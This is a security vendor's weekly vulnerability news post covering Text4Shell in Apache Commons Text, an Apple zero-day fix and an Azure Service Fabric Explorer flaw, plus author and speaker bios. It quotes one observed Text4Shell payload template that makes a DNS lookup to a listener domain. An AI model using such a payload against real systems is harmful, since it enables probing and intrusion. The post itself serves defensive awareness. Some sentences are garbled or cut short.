blog

Latest Security Vulnerability of the Week 24/10/22 – Application Security – Cloud Security – Infrastructure Security – apache commons – text4shell apple os service fabric 

Latest Security Vulnerability of the Week 24/10/22 - Application Security - Cloud Security - Infrastructure Security - apache commons - text4shell apple os service fabric

Latest Security Vulnerability of the Week 24/10/22 - Application Security - Cloud Security - Infrastructure Security - apache commons - text4shell apple os service fabric

—-

This week we deep dive into the application security vulnerability for apache commons text4shell and the cloud security vulnerability exploit (fixed) service fabric.

—-

Previous Issues of Vulnerability Weekly




Application Security

Attackers started exploiting the new Apache Commons Text 4 Shell.

Apache common text4shell not log4j CVE-2022-42889
Apache common text4shell not log4j CVE-2022-42889

Wordfence on Thursday said it started detecting exploitation attempts targeting the newly disclosed application security flaw in Apache Commons Text on October 18, 2022.

The new vulnerability, CVE-2022-42889, aka Text4Shell, has been assigned a severity ranking of 9.8 out of a possible 10.0 even though the assessment is undergoing new scrutiny. 

The security issue affects libraries versions 1.5 through 19.

The vulnerability resembles the widespread and infamous Log4Shell vuln in that the issue is rooted in how to string substitutions carried out during DNS, script, and URL lookups could lead to the execution of arbitrary code on susceptible systems when passing untrusted input.

The original log4shell was difficult to detect and ingrained in many common libraries, this new version.

“The attacker can send a crafted payload remotely using ‘script,’ ‘dns,’ and ‘url’ lookups to achieve arbitrary remote code execution,” the Zscaler ThreatLabZ team explained.

Like Log4j, a threat actor can send a well-crafted string and open a reverse shell connection with the vulnerable application. A specifically crafted payload can trigger this shell, effectively opening the door for follow-on attacks.

From Zscaler blog

“Most of the payloads we have observed and are tracking appear in query string parameters or headers and use one of the following formats:

DNS prefix: ${dns:address:<victimdomain>.<unique identifier>.<listenerdomain>}” 

Quote from https://www.wordfence.com/blog/2022/10/threat-advisory-monitoring-cve-2022-42889-text4shell-exploit-attempts/ 

“Fortunately, not all library users would be affected by this security issue – unlike Log4j in the Log4Shell vuln, which was vulnerable even in its most basic use cases,” Checkmarx researcher Yaniv Nizry said.

Users with direct dependencies is recommended to upgrade to the fixed version to mitigate potential threats. 

According to Maven, as many as 2,593 projects use the library, although Flashpoint noted that very few of those listed use the vulnerable method.

INFRA and Network Vulnerabilities

Apple Vulnerability fixes the last zero day of the list.

Apple OS vulnerability Apple fixes latest vulnerability and zero day
Apple OS vuln Apple fixes the latest zero-day.

In a recent update ( Monday, 24th), Apple has fixed the ninth zero-day security issue used in attacks against iPhones since the start of the year. 

The bug (CVE-2022-42827) is an out-of-bounds write issue reported to Apple by an anonymous researcher and caused by software writing data outside the boundaries of the current memory buffer.

No information on the attack and exploitation of that vulnerability. Apple still needs to address and disclose them.

This zero-day bug was most likely only used in highly-targeted attacks.

Installing this update prevents those attacks; hence is highly recommended. 

This will likely allow Apple customers to patch their devices before more attackers develop additional exploits and start using them in attacks targeting vulnerable iPhones and iPads.

Following the full list of vulnerabilities fixed since the beginning of the year by apple

Cloud Security

Azure SFX flaw could have been used to exploit the machine and gain admin access (aka Fabricsape)

now-patched security flaw in Azure Service Fabric Explorer (SFX) 

The cloud security misconfiguration/vuln, tracked as CVE-2022-35829, carried a CVSS severity rating of 6.2 and was addressed by Microsoft as part of its Patch Tuesday updates last week.

orca security fabric scape exploit for cloud security

SFX is described by Microsoft as an open-source tool for inspecting and managing Azure Service Fabric clusters, a distributed systems platform that’s used to build and deploy microservices-based cloud applications.

Armed with this exploit, an adversary can send the specially crafted input during the application creation step, eventually leading to its execution.

Credit Orca Security for this exploit:

“This includes performing a Cluster Node reset, which erases all customized settings such as passwords and security configurations, allowing an attacker to create new passwords and gain full Administrator permissions,” Orca Security researchers Lidor Ben Shitrit and Roee Sagi said.

Previous Issues of vulnerability Weekly





Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Explore ASPM’s role in modern application security, offering a panoramic view that extends beyond code vulnerabilities. This guide demystifies concepts like traceability, reachability analysis, and asset lineage, pivotal for securing digital assets. Learn how ASPM empowers organizations with actionable insights for precise vulnerability management. #Cybersecurity #ASPM #ApplicationSecurity
Francesco Cipollone
Explore the transformative role of ASPM in cybersecurity. Uncover how Application Security Posture Management aligns business and security objectives for effective vulnerability management and risk reduction. Discover Phoenix Security’s innovative approach to tackling the staggering challenge of CVEs with a strategic focus on prioritization. #ASPM #Cybersecurity #VulnerabilityManagement
Francesco Cipollone
Explore the critical insights into the latest container security vulnerabilities named leaky vessels, including CVE-2024-21626, CVE-2024-23651, CVE-2024-23653, and CVE-2024-23652, BuildKit flaws, with our comprehensive guide on mitigation strategies, best practices for application security, and tips for robust vulnerability management in Docker and Kubernetes environments. Stay ahead in securing your container deployments against potential threats with ASPM help
Francesco Cipollone

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.